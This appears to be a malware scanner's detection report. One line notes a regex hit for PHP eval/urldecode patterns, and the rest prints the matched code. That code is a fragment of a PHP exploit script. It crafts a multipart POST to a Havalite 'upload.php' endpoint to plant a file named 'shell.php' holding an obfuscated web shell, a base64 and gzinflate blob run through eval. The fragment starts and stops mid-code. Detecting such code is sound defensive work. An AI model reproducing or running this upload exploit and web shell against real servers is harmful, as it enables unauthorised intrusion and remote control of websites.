Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: $packet); return stream_get_contents($sock); } $payload = "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"files[]\"; filename=\"shell.php\"\r\n"; $payload .= "Content-Type: application/octet-stream\r\n\r\n"; $payload .= '<?php function hzMuU($izVC){ $izVC=gzinflate(base64_decode($izVC)); for($i=0;$i<strlen($izVC);$i++) {$izVC[$i] = chr(ord($izVC[$i])-1); } return $izVC; }eval(hzMuU("RVTprqNmDH2APkU0uj/uFarYN01vqxBC2CFsAaqqImxhh48tMOqzN9XMqP5lH1vHx7Lsw+E/y+Y2noquPSz3TT+H72/V7Jy1j2+H785nvhdtVkdT+n6PxpQi/k7SuEvSn3UfXw9ZB97fik/k61vx2ziBOm1/Jl8IBH0cvn0P/3wr/jp8HuIHeO9A8v4/+PEr+qL55wDSaQbtj8YvIF2i+v2HrC96aIZlPwVnKcgCmT4VCziBSLMuqh7adlJoGDd6wAiQW34Oy4W48Cf1Fskk29ptfQckm6HwEPVzBHxquGwdKLFxQL0gNBsia+ozBPstVZkpk3u3SwCohENF3x0cePP7yaXtnaR9QM3jfYoX5ojDUK7AiY+pyNztaRMf/TqGTeiUCXC5UA2KqkmP4vYdmOwd4OSCHzNowcA1w2aAz22itU8hylj62WeONhs7cB1J3ktx2eYHFbMogLZdL/dM2HK7kqIsSUqhUJN8rNEnfodRFixr3z7y12Q9227TGU9z1yYxCeUL7Vi2qXX3n6bbqRJ3qYF/6pBHi24c6zZGqLR8kwrMmMh1vvGZJhG5BfFW8OQoc9wX0ZMqihDAlQm3xXJmwq2aJq+iRatVHlfVB8KW+iqO9wunpNcyvmszsikTxZ4QAjufVpQmnpwwIS9JnmKszP5U6JlQyHF0YQC83EmucCRiM0NnytkQ63LLnD6UMTHH+AHTo7Groqq6TNyyE5Nvs6hBlVvSIQUMRrKosJYqAqgpHVKtyvt4uuaOfTUS5bFPfjDR66xZREP2dW3KR80zebsa1lFyLGWvuF5w+Edx0fUu4qiErxzaTjQRl+y1j914pTTnejt7z87QjW2TvGclwHjN5TLtm4E5kwXepIXFJoh36d12YOah9l4bMoQLP1WcallgTyzebGNGi1tNrG+Iv6c5HzXXFWMe+uCpfDjvNi1eZvJZhH3D16ellynW4KyOw3WlClZbTWQFVggItYRrIWUuezsmcy16sN6kKjFVIRJ7OssIcmLp+QhHpcKHkVIW1ZkuLW6W8HVdNaPfqYErV1/vwIu1yzkPbW6y+6yyMhBvUGVIuz8wG+kproKthci/Dimlp7qxT3ZjLPMxOXFXDceja9vgEB8+ZDbYNSPeW05f6ZHxpltqVL3+QGtHxeKCzfwWrjg4g+FO+PJ6C3/8/su/"));?>'; $payload .= "\r\n"; $payload .= "--o0oOo0o--\r\n"; $packet = "POST {$path}havalite/upload.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Referee: {$host}{$path}havalite/hava_upload.php\r\n"; […]
↧